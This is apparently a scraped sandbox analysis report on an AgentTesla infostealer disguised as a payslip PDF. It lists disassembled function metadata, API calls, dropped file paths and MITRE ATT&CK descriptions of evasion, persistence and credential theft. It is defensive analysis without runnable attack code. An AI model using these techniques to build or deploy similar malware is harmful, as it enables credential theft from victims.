Instruction Fuzzy Hash: E9119A71500228ABEB109F64EC45AAB3B69EB2437CF244B24F9A0D31E0C775DC91AB70

Function 00D02E9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D02F11
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00D02F30

Strings

0, xrefs: 00D02F07

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: cf6a57fd55efa8cc8fcbd4a40bc6cfecac5b167d931ad91d5fd2126d876ebcd1
Instruction ID: 4a455e7f97e5ea9154c28d8444b494258d75df5b13c9d9e103221a55a4b31620
Opcode Fuzzy Hash: cf6a57fd55efa8cc8fcbd4a40bc6cfecac5b167d931ad91d5fd2126d876ebcd1
Instruction Fuzzy Hash: 15119031902215ABDB25DB99DC48BB97BB9EF15350F1840A5FC98E72E0D7B0ED0487B1

Function 00D124CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00D12520
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00D12549

Strings

<local>, xrefs: 00D12511

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 42b87bd2c7f3c9e86cbbab69bfcf476ee92c0432e5ab0f16da0067214de0d202
Instruction ID: 31ac1c4fe07455aaed7f5b308a72c056e6f30a61fdf9542016a26de0a412840b
Opcode Fuzzy Hash: 42b87bd2c7f3c9e86cbbab69bfcf476ee92c0432e5ab0f16da0067214de0d202
Instruction Fuzzy Hash: D611E3B0100225BAEB248F51ACD9EFBFF69FB15351F10812AF94546140DA7199A5D6F0

Function 00D180A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00D1830B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00D180C8,?,00000000,?,?), ref: 00D18322

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00D180CB
htons.WSOCK32(00000000,?,00000000), ref: 00D18108

Strings

255.255.255.255, xrefs: 00D180E3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: f8a9ad3f79d588ab12032fd62951d1c31f638b2afa3dea656db4a6fa32731b4f
Instruction ID: 481a1d94e60f57dcffe9a13c2ab43098adc339e52ac37e20e007c2e2e70fea52
Opcode Fuzzy Hash: f8a9ad3f79d588ab12032fd62951d1c31f638b2afa3dea656db4a6fa32731b4f
Instruction Fuzzy Hash: 4B11CE75200309BBCB20EF64DC46FFDB374FF04320F108526E92197291DE32A845A6A1

Function 00CF92E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00CFB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CFB0E7

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00CF9355

Strings

ListBox, xrefs: 00CF931F
ComboBox, xrefs: 00CF92F4

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 795e9cfe9c4c9ba3893816f7fed825c07699c32d3d0f3e374219ee0c2f28189f
Instruction ID: b685f0a55085f582e2658d37ebd512c274bfb7b463177a2679b09ee51382ab6a
Opcode Fuzzy Hash: 795e9cfe9c4c9ba3893816f7fed825c07699c32d3d0f3e374219ee0c2f28189f
Instruction Fuzzy Hash: 8201D2B1A45219AB8F04EBA4CC91DFE7369FF06320B100619F932572D1EF31691CA661

Function 00CF91DF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00CFB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CFB0E7

SendMessageW.USER32(?,00000180,00000000,?), ref: 00CF924D

Strings

ListBox, xrefs: 00CF9217
ComboBox, xrefs: 00CF91EC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 34d318280badece192f1f8c5b4bf70ce66b5b4f3241c0b9b5590d98c1f92fcd7
Instruction ID: 275244a0ed71ea0a364dd30582456968a155e26c44af439598431d071348556b
Opcode Fuzzy Hash: 34d318280badece192f1f8c5b4bf70ce66b5b4f3241c0b9b5590d98c1f92fcd7
Instruction Fuzzy Hash: 180188B1A411097BCF14E7A0CD92EFF73A8DF05300F1401157A12672C1EE256F1CA672

Function 00CF9264 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00CFB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CFB0E7

SendMessageW.USER32(?,00000182,?,00000000), ref: 00CF92D0

Strings

ListBox, xrefs: 00CF929C
ComboBox, xrefs: 00CF9271

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: bafc91e35da5c0d436ef2c82d24bd69afca1bdd5bddd90c5bfcef5c8f3016488
Instruction ID: 68b49ca33c06825d6b3accb3507058e915810f2692759264d2e343b202204dd5
Opcode Fuzzy Hash: bafc91e35da5c0d436ef2c82d24bd69afca1bdd5bddd90c5bfcef5c8f3016488
Instruction Fuzzy Hash: 150184B1A411097BCF04E7A4C992EFE77A8DB11300B140115791263291EA215F1CA276

Function 00D051CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00D051E8
_wcscmp.LIBCMT ref: 00D051FA

Strings

#32770, xrefs: 00D051F4

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 7a9f398bfdd78741f3148a2dcd604858482fb1bb0e4d1877b317e4f6c72fa289
Instruction ID: 4d833f82daf9e5251899098dd6aec8528bce1b6a5355f40f214f859a28027108
Opcode Fuzzy Hash: 7a9f398bfdd78741f3148a2dcd604858482fb1bb0e4d1877b317e4f6c72fa289
Instruction Fuzzy Hash: 33E02B3250032C1AD7209699AC05F97F7ACEB44721F00016AFD14D3140D56099058BF1

Function 00CF81BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00CF81CA

Part of subcall function 00CC3598: _doexit.LIBCMT ref: 00CC35A2

Strings

Error allocating memory., xrefs: 00CF81C3
AutoIt, xrefs: 00CF81BE

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 974371a7d84fd38839a81ca8eb07d57e3737aea7e25de4d0e32cb5ff323749de
Instruction ID: 8563ca343958de54fcfbd8eb63a1acf82a2305cfd620abfa9b7bee07137bb3fe
Opcode Fuzzy Hash: 974371a7d84fd38839a81ca8eb07d57e3737aea7e25de4d0e32cb5ff323749de
Instruction Fuzzy Hash: 11D02B323C135C36D21433A5AC07FC975484B05B52F004025FF08951C38DE189C652FD

Function 00CDB511 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00CDB564: _memset.LIBCMT ref: 00CDB571

Part of subcall function 00CC0B84: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00CDB540,?,?,?,00CA100A), ref: 00CC0B89

IsDebuggerPresent.KERNEL32(?,?,?,00CA100A), ref: 00CDB544
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00CA100A), ref: 00CDB553

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00CDB54E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: e85b05ea690e9340d08a1447f32ce32069ec1113ecb9948656271728b487ef1d
Instruction ID: 7e937728b817540d401ae2c0cc1743a3a2865dc2fb14069422383fe4cc8b4e63
Opcode Fuzzy Hash: e85b05ea690e9340d08a1447f32ce32069ec1113ecb9948656271728b487ef1d
Instruction Fuzzy Hash: 51E039B0600311CBD720DF28E5047527BE0AB05744F018A3DF546C2360E7B4D845CBB1

Function 00D25BEB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00D25BF5
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00D25C08

Part of subcall function 00D054E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00D0555E

Strings

Shell_TrayWnd, xrefs: 00D25BEE

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 17be05a673746aed99a1f7c1fdb495e247b23ab9a48ed1d232cf9e5520c0a787
Instruction ID: 04836e841f63b98bf44b6fd41780a936b87e8d5e1bcbb73aee5b76e18a1e9640
Opcode Fuzzy Hash: 17be05a673746aed99a1f7c1fdb495e247b23ab9a48ed1d232cf9e5520c0a787
Instruction Fuzzy Hash: 89D0C931388711BAE774AB70AC0BFD76A24EB20B52F010C35BB59EA2D0D9E49805C670

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payslip_October_2024_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\sgxIb.exe.log

C:\Users\user\AppData\Local\Temp\Hymenophyllaceae

C:\Users\user\AppData\Local\Temp\aut65FB.tmp

C:\Users\user\AppData\Local\Temp\aut664A.tmp

C:\Users\user\AppData\Local\Temp\quinquenniad

C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
Payslip_October_2024_pdf.exe

Function 00CA3B4C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Function 00CA4AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00CA4FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00D093DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00CA302C Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 63
windowregistryCOMMON

Function 00CA3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 00CA71EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00CA3A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00CA3633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

